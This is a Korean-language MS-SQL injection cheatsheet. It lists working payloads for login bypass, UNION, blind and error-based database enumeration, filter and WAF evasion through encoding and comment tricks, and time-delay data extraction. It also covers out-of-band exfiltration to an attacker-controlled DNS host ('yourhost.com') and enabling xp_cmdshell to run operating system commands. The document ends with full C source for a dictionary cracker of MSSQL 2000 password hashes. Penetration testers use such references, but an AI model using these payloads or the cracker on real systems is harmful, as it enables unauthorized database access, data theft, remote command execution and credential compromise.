MS-SQL Injection Cheatsheet

기본 데이터베이스

pubs	MSSQL 2005 에는 존재하지 않습니다.
model	모든 버전에 존재합니다.
msdb	모든 버전에 존재합니다.
tempdb	모든 버전에 존재합니다.
northwind	모든 버전에 존재합니다.
information_schema	MSSQL 2000 이상에서 존재합니다.

주의사항

• 다음 내용은 웹 브라우저에서 직접 변수의 값을 수정하거나 프록시를 이용해서 값을 전달할 때 반드시 적용해야 합니다.

&, =	두 문자 모두 HTTP 쿼리 문자열과 POST 데이터에서 이름과 변수의 쌍을 연결할 때 사용합니다. 해당 문자들을 인젝션 구문에 사용하기 위해서는 각각 %26 과 %3d 로 인코딩 해야합니다.
(SPACE)	일반적으로 인젝션 구문에서 스페이스를 포함하고 있으면 스페이스 앞에서 공격 구문을 종료합니다. 따라서 스페이스는 %20 으로 인코딩 해야합니다.
+	URL 인코딩 시 빈 칸(SPACE)으로 사용하기 때문에 문자 + 를 인젝션 구문에 사용하기 위해서는 %2b 로 인코딩 해야합니다.
;	세미콜론은 쿠키 필드에서 구분 문자로 사용하기 때문에 %3b 로 인코딩 해야합니다.

인젝션 테스트

1) 문자열

• 싱글 쿼터(SINGLE QUOTE, ') 또는 쿼터(QUOTE, “)가 짝으로 구성된 경우 원하는 만큼 입력이 가능합니다.
• 예제와 같이 짝으로 구성된 여러 개의 쿼터 뒤에도 SQL 구문을 연결해 나가는 것이 가능합니다.

SELECT * FROM Table WHERE id = '1';	
	에러 발생
'	-
''	에러 발생
''''	-

SELECT * FROM Articles WHERE id = '1''';
SELECT 1 FROM dual WHERE 1 = '1''''''''''UNION SELECT '2';

2) 숫자

SELECT * FROM Table WHERE id = 1;	
65-0	취약할 경우 65 을 반환합니다.
65 - (SELECT ASCII('A'))	취약할 경우 0 을 반환합니다.
SELECT * FROM Users WHERE id = 3-2;	

3) 로그인 시

SELECT * FROM Table WHERE username = ';
' OR 1=1--
' OR 1=1#
OR 1=1/*
) OR '1'='1--
) OR ('1'='1--
SELECT * FROM Users WHERE username = 'Mike' AND password = ' OR '1' = '1--

4) 형 변환

convert(int,@@version) • 사용자 정수 입력 부분에 문자를 입력해 에러를 유발합니다.
' + convert(int,@@version) + ' • 사용자 문자 입력 부분에 숫자를 입력해 에러를 유발합니다.

주석

• 다음에 오는 문자들은 인젝션 후 나머지 쿼리에 대한 주석으로 사용할 수 있습니다.

/*	C-스타일 주석
-- -	SQL 주석
;%00	Null 값
SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';	
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3/*';	
SEL/**/ECT * FR/**/OM Users WH/**/ERE id = '' UN/**/ION SEL/**/ECT 1, 2, 3`';	

버전 테스트

@@VERSION
SELECT * FROM Users WHERE id = '1' AND @@VERSION LIKE '%2008%'; • 결과는 윈도우 OS 의 버전 정보를 포함합니다.

데이터베이스 사용자 자격 증명

사용자 정보를 포함한 테이블 이름(경로)	master..syslogins, master..sysprocesses

사용자 정보를 포함한 컬럼 이름	name, loginame
현재 사용자 관련 함수	user, system_user, suser_sname(), is_srvrolemember('sysadmin')
데이터베이스가 할당하고 있는 자격증명	SELECT user, password FROM master.dbo.sysxlogins

SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;
- **현재 사용자 이름을 반환합니다.**

SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);
- **사용자에게 부여한 권한이 관리자 권한인지 확인합니다.**

데이터베이스 이름

테이블 이름 (경로)	master..sysdatabases
컬럼 이름	name
현재 사용 중인 DB 관련 함수	DB_NAME(i) • i = 0, 1, 2 ···

SELECT DB_NAME(5);

SELECT name FROM master..sysdatabases;

서버 호스트 이름

@@SERVERNAME

SERVERPROPERTY()

SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition');

테이블(Tables)과 컬럼(Columns)

1) 컬럼 개수 파악

ORDER BY

ORDER BY n+1;

- **FALSE 응답을 받을때까지 N 값을 증가시켜야 합니다.**
- **GROUP BY 와 ORDER BY 는 SQL 구문 상 서로 다른 기능을 가지고 있음에도, 두 절 모두 컬럼 개수를 파악하는데에는 동일한 방법으로 사용합니다.**

SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT}';

n=0	1' ORDER BY 1--	TRUE
n=1	1' ORDER BY 2--	TRUE
n=2	1' ORDER BY 3--	TRUE

SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT}';		
n=3	1' ORDER BY 4--	FALSE - Query 에 오직 세 개의 Column 만 사용한다는 것을 뜻합니다.
n=2	-1' UNION SELECT 1,2,3--	TRUE

GROUP BY/HAVING

• **테이블의 모든 컬럼을 포함하는 경우 에러를 발생하지 않습니다.**

SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT}'	
1' HAVING 1=1--	Users.username 컬럼이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다.
1' GROUP BY username HAVING 1=1--	Users.password 컬럼이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다.
1' GROUP BY username, password HAVING 1=1--	Users.permission 컬럼이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다.
1' GROUP BY username, password, permission HAVING 1=1--	에러 없음

2) 테이블 정보 가져오기

• information_schema.tables 또는 master..sysobjects 를 통해 테이블을 가져올 수 있습니다.

UNION

• **xtype = 'U'는 사용자 정의 타입입니다.**

```
UNION SELECT name FROM master..sysobjects WHERE xtype='U'
```

• **UNION 구문 사용 시 발생하는 언어 이슈에 대해 COLLATE 절을 추가하여 출력 언어를 변경할 수 있습니다.**

```
UNION SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM master..sysobjects WHERE xtype='U'
```

BLIND

• **SUBSTRING('문자열', X, Y) 함수는 문자열의 X 번째 위치에서부터 Y 개의 문자(X 포함)를 반환하는 함수입니다.**
• **다음 SQLI 는 테이블 이름의 첫 문자가 A 보다 큰 문자인지 비교하는 구문입니다. (A=65, Z=90, a=97, z=112)**

```
AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'
```

ERROR

```
AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)
```

```
AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables))
```

3) 컬럼 정보 가져오기

• information_schema.columns 또는 master..syscolumns 를 통해 컬럼을 가져올 수 있습니다.

UNION

```
UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = 'tablename')
```

BLIND

```
AND SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns > 'A'
```

ERROR

```
AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns)
```

```
AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1 column_name FROM information_schema.columns))
```

4) N 번째 행의 컬럼 정보 가져오기

```
SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC
```

• 9 번째 행의 정보를 가져옵니다.

5) 다수의 테이블과 컬럼 정보 한번에 가져오기

임시 테이블/컬럼을 생성하여 사용자 정의 타입 정보를 저장합니다.

```
 AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+' '+name FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END;
```

해당 정보를 덤프합니다.

```
AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);
```

생성한 임시 테이블/컬럼을 삭제합니다.

```
AND 1=0; DROP TABLE TMP_DB
```

MSSQL 2005 이상에서는 FOR XML PATH(“) 함수를 사용하여 더 간단하게 가져올 수 있습니다.

```
SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH('')
```

문자열 조작 - 퍼징(Fuzzing) - 난독화(Obfuscation)

1) 쿼터 필터링(Filtering) 우회

SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110)	CHAR() 함수를 사용하여 ASCII 코드로 변경합니다. **• SELECT CHAR(65); # A를 반환합니다.**

2) 문자열 연결

```
SELECT 'a'+'d'+'mi'+'n';
```

```
SELECT CONCAT('a','a','a');
```

• SQL SERVER 2012 에서 가능합니다.

3) 데이터베이스에서 허용하는 문자 사용

• 다음 문자는 문자사이의 간격을 조절할 때 사용할 수 있습니다.

%01	Start of Heading
%02	Start of Text
%03	End of Text
%04	End of Transmission
%05	Enquiry
%06	Acknowledge
%07	Bell
%08	Backspace
%09	Horizontal Tab
%0A	New Line
%0B	Vertical Tab
%0C	New Page
%0D	Carriage Return
%0E	Shift Out
%0F	Shift In
%10	Data Link Escape
%11	Device Control 1
%12	Device Control 2
%13	Device Control 3
%14	Device Control 4
%15	Negative Acknowledge
%16	Synchronous Idle
%17	End of Transmission Block
%18	Cancel
%19	End of Medium
%1A	Substitute
%1B	Escape
%1C	File Separator
%1D	Group Separator
%1E	Record Separator
%1F	Unit Separator

%20	Space
%25	%

S%E%L%E%C%T%01column%02FROM%03table;

A%%ND 1=%%%%%%%%1;

- 키워드 사이에 % 기호는 ASP(X) 웹 애플리케이션에서만 사용할 수 있습니다.

- 다음 문자들은 공백(SPACE) 필터링을 우회하는데 사용할 수 있습니다.

%22	"
%28	(
%29	)
%5B	[
%5D	]

UNION(SELECT(column)FROM(table));

SELECT"table_name"FROM[information_schema].[tables];

4) 인코딩 (Encodings)

- 인젝션 구문을 인코딩함으로써 WAF/IDS 를 우회 가능성이 존재합니다.

URL 인코딩	SELECT %74able_%6eame FROM information_schema.tables;
더블 URL 인코딩 • %25 뒤에 실제 사용할 값을 붙여넣기 합니다.	SELECT %2574able_%256eame FROM information_schema.tables;
유니코드 인코딩	SELECT %u0074able_%u6eame FROM information_schema.tables;
잘못된 Hex 인코딩 (ASP)	SELECT %tab%le_%na%me FROM information_schema.tables;
Hex 인코딩 • DECLARE 구문과 CAST() 함수를 통해 HEX 인코딩을 사용합니다. • AND 1=0; DROP TABLE TMP_DB	' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--
HTML 엔티티 (검증 필요) • %26%2365%3B = A	%26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B

5) 키워드 기반 필터링(Filtering) 우회

- IDS/WAF 특정 키워드를 필터링하고 있을 때 인코딩하지 않고 이를 우회할 수 있습니다.

키워드: information_schema.tables	
대소문자 변경	InFoRMaTIOn_SCHema.TAbLeS
주석 사용	inf/**/or/**/ma/**/tion_sch/**/em/**/a.ta/**/bles

시간 지연

WAITFOR DELAY '시:분:초';
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0'; • 서버로부터 응답이 5 초 지연됩니다.
?ProductID=;DECLARE @x as int;DECLARE @w as char(6);SET @x=ASCII(SUBSTRING(({INJECTION POINT}),1,1));IF @x=100 SET @w='0:0:14' ELSE SET @w='0:0:01';WAITFOR DELAY @w-- • SUBSTRING() 함수로 받은 문자가 d 일 때, 서버로부터 응답이 14 초 지연되며 d 가 아닐 경우 1 초가 지연됩니다.

Out Of Band 채널링(Channeling)/OPENROWSET 공격

- SQLI 구문 실행 후 데이터베이스로부터 얻은 임의의 데이터를 공격자 자신의 컴퓨터로 전송하기 위해 데이터베이스의 내장된 기능을 이용하는 방법입니다.
- DNS 서버를 구성하고 있어야 합니다.
- SQLI 의 실행 결과를 애플리케이션이 노출하지 않을 때 사용합니다.
- OPENROWSET 함수를 통해 원격지의 SQL 서버에 연결합니다.

DNS 요청 이용
?ProductID=1; SELECT * FROM OPENROWSET('SQLOLEDB', ({INJECTION POINT}) +'.yourhost.com';'sa';'pwd', 'SELECT 1') • 공격자 DNS 서버 YOURHOST.COM 에 NBNS 쿼리 또는 DNS RESOLUTION 요청을 전달합니다.
?ProductID=1; DECLARE @q varchar(1024); SET @q = '\\'+({INJECTION POINT}) +'.yourhost.com\\test.txt'; EXEC master..xp_dirtree @q • 공격자 DNS 서버 YOURHOST.COM 에 NBNS 쿼리 또는 DNS RESOLUTION 요청을 전달합니다.

OPENROWSET
SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4ssw0rd', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"');

스택 쿼리(Stacked Queries)

- MSSQL 은 스택 쿼리를 지원합니다.

```
' AND 1=0 INSERT INTO ([컬럼_이름_1], [컬럼_이름_2]) VALUES ('값_1', '값_2');
```

시스템 명령어 실행

- XP_CMDSHELL 은 운영체제 명령어를 실행할 수 있는 확장 프로시저 입니다.

```
EXEC master.dbo.xp_cmdshell 'cmd';
```

- MSSQL 2005 부터 해당 프로시저는 '사용 안 함' 이 기본값입니다. 하지만 다음 쿼리를 통해 활성화할 수 있습니다.

```
EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'xp_cmdshell', 1
EXEC sp_configure reconfigure
```

- 사용자 자신만의 프로시저를 생성해 위와 동일한 결과를 얻을수도 있습니다.

```
DECLARE @execmd INT
```

```
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'
```

• 버전이 MSSQL 2000 이상인 경우 위 쿼리를 실행하기 위해 다음 추가 쿼리가 필요할 수 있습니다.

```
EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'OLE Automation Procedures', 1
EXEC sp_configure reconfigure
```

• 다음 쿼리는 xp_cmdshell 이 활성화 되어 있는지 확인합니다. 활성화 되어 있으면 dir 명령어를 실행하고 그 결과를 TMP_DB 에 삽입합니다.

```
IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE
TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF
EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]')
AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE
%23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int)
INSERT %23xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT *
FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir
varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell 'dir' SELECT @a='' SELECT
@a=Replace(@a%2B'<br></font><font color="black">'%2Bdir,'<dir>','</font><font
color="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE
SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSE SELECT
@a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB--
```

• TMP_DB에 삽입한 내용을 덤프하고 삭제합니다.

```
UNION SELECT tbl FROM TMP_DB--
DROP TABLE TMP_DB--
```

조건부 구문

• IF 함수는 SELECT 구문 내에 사용할 수 없습니다.

함수	예제
CASE	SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END; • TRUE 를 반환합니다. SELECT CASE WHEN (select user) = 'sa' THEN 'true' ELSE 'false' END; • 현재 사용자가 SA 이면 TRUE 를 반환합니다.
IF	IF 1=1 SELECT 'true' ELSE SELECT 'false'; • TRUE 를 반환합니다. IF ((select user) = 'sa' OR (select user) = 'dbo') SELECT 1 ELSE SELECT 1/0 • 현재 사용자가 SA 또는 DBO 가 아닐 경우 에러가 발생합니다.

패스워드 해싱(Hashing)

• 패스워드 해시는 0X0100 으로 시작합니다.
• 0X0100 다음에 오는 8 바이트는 나머지 80 바이트 해시의 솔트(SALT) 값입니다.
• 해시의 첫 40 바이트는 패스워드의 대소문자를 구별하여 적용한 값입니다.
• 해시의 나머지 40 바이트는 대문자 패스워드를 적용한 값입니다.

0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457

패스워드 크래킹(Cracking) 도구

도구	URL
Metasploit 모듈 JTR	http://www.metasploit.com/modules/auxiliary/analyze/jtr_mssql_fast

MSSQL 2000 패스워드 크래커

```
////////////////////////////////////////////////////////////////////////////////
/
//
//     SQLCrackCl
//
//     This will perform a dictionary attack against the
//     upper-cased hash for a password. Once this
//     has been discovered try all case variant to work
//     out the case sensitive password.
//
//     This code was written by David Litchfield to
//     demonstrate how Microsoft SQL Server 2000
//     passwords can be attacked. This can be
//     optimized considerably by not using the CryptoAPI.
//
//     (Compile with VC++ and link with advapi32.lib
//     Ensure the Platform SDK has been installed, too!)
//
////////////////////////////////////////////////////////////////////////////////
/
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
FILE *fd=NULL;
char *lerr = "\nLength Error!\n";
int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
{
       int err = 0;
       if(argc !=3)
       {
              printf("\n\n*** SQLCrack *** \n\n");
              printf("C:\\>%s hash passwd-file\n\n",argv[0]);
              printf("David Litchfield (david@ngssoftware.com)\n");
              printf("24th June 2002\n");
              return 0;
       }
       err = OpenPasswordFile(argv[2]);
       if(err !=0)
       {
              return printf("\nThere was an error opening the password file %s
\n",argv[2]);
       }
       err = CrackPassword(argv[1]);
       fclose(fd);
       printf("\n\n%d",wd);
       return 0;
}

int OpenPasswordFile(char *pwdfile)
{
       fd = fopen(pwdfile,"r");
       if(fd)
              return 0;
       else
              return 1;
}
```

```
int CrackPassword(char *hash)
{
	char phash[100]="";
	char pheader[8]="";
	char pkey[12]="";
	char pnorm[44]="";
	char pucase[44]="";
	char pucfirst[8]="";
	char wttf[44]="";
	char uwttf[100]="";
	char *wp=NULL;
	char *ptr=NULL;
	int cnt = 0;
	int count = 0;
	unsigned int key=0;
	unsigned int t=0;
	unsigned int address = 0;
	unsigned char cmp=0;
	unsigned char x=0;
	HCRYPTPROV hProv=0;
	HCRYPTHASH hHash;
	DWORD hl=100;
	unsigned char szhash[100]="";
	int len=0;
	if(strlen(hash) !=94)
	{
		return printf("\nThe password hash is too short!\n");
	}
	 if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))
	{
		hash = hash + 2;
		strncpy(pheader,hash,4);
		printf("\nHeader\t\t: %s",pheader);
		if(strlen(pheader)!=4)
			return printf("%s",lerr);
		hash = hash + 4;
		strncpy(pkey,hash,8);
		printf("\nRand key\t: %s",pkey);
		if(strlen(pkey)!=8)
			return printf("%s",lerr);
		hash = hash + 8;
		strncpy(pnorm,hash,40);
		printf("\nNormal\t\t: %s",pnorm);
		if(strlen(pnorm)!=40)
			return printf("%s",lerr);
		hash = hash + 40;
		strncpy(pucase,hash,40);
		printf("\nUpper Case\t: %s",pucase);
		if(strlen(pucase)!=40)
			return printf("%s",lerr);
		strncpy(pucfirst,pucase,2);
		sscanf(pucfirst,"%x",&cmp);
	}
	 else
	{
		return printf("The password hash has an invalid format!\n");
	}
```

```
	printf("\n\n	Trying...\n");
	if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL , 0))
	{
		if(GetLastError()==NTE_BAD_KEYSET)
		{
		// KeySet does not exist. So create a new keyset
			if(!CryptAcquireContext(&hProv,
						NULL,
						NULL,
						PROV_RSA_FULL,
						CRYPT_NEWKEYSET ))
			{
				printf("FAILLLLLLL!!!");
				return FALSE;
			}
		}
	}
	while(1)
	{
		// get a word to try from the file
		ZeroMemory(wttf,44);
		if(!fgets(wttf,40,fd))
			return printf("\nEnd of password file. Didn't find the password.
\n");
		wd++;
		len = strlen(wttf);
		wttf[len-1]=0x00;
		ZeroMemory(uwttf,84);
		// Convert the word to UNICODE
		while(count < len)
		{
			uwttf[cnt]=wttf[count];
			cnt++;
			uwttf[cnt]=0x00;
			count++;
			cnt++;
		}
		len --;
		wp = &uwttf;
		sscanf(pkey,"%x",&key);
		cnt = cnt - 2;
		// Append the random stuff to the end of
		// the uppercase unicode password
		t = key >> 24;
		x = (unsigned char) t;
		uwttf[cnt]=x;
		cnt++;
		t = key << 8;
		t = t >> 24;
		x = (unsigned char) t;
		uwttf[cnt]=x;
		cnt++;
		t = key << 16;
		t = t >> 24;
		x = (unsigned char) t;
		uwttf[cnt]=x;
		cnt++;
		t = key << 24;
		t = t >> 24;
		x = (unsigned char) t;
```

```
uwttf[cnt]=x;
              cnt++;
              // Create the hash
              if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
              {
                     printf("Error %x during CryptCreatHash!\n", GetLastError());
                     return 0;
              }
              if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
              {
                     printf("Error %x during CryptHashData!\n", GetLastError());
                     return FALSE;
              }
              CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
              // Test the first byte only. Much quicker.
              if(szhash[0] == cmp)
              {
                     // If first byte matches try the rest
                     ptr = pucase;
                     cnt = 1;
                     while(cnt < 20)
                     {
                            ptr = ptr + 2;
                            strncpy(pucfirst,ptr,2);
                            sscanf(pucfirst,"%x",&cmp);
                            if(szhash[cnt]==cmp)
                                   cnt ++;
                            else
                            {
                                   break;
                            }
                     }
                     if(cnt == 20)
                     {
                            // We've found the password
                            printf("\nA MATCH!!! Password is %s\n",wttf);
                            return 0;
                     }
              }
              count = 0;
              cnt=0;
       }
       return 0;
}
```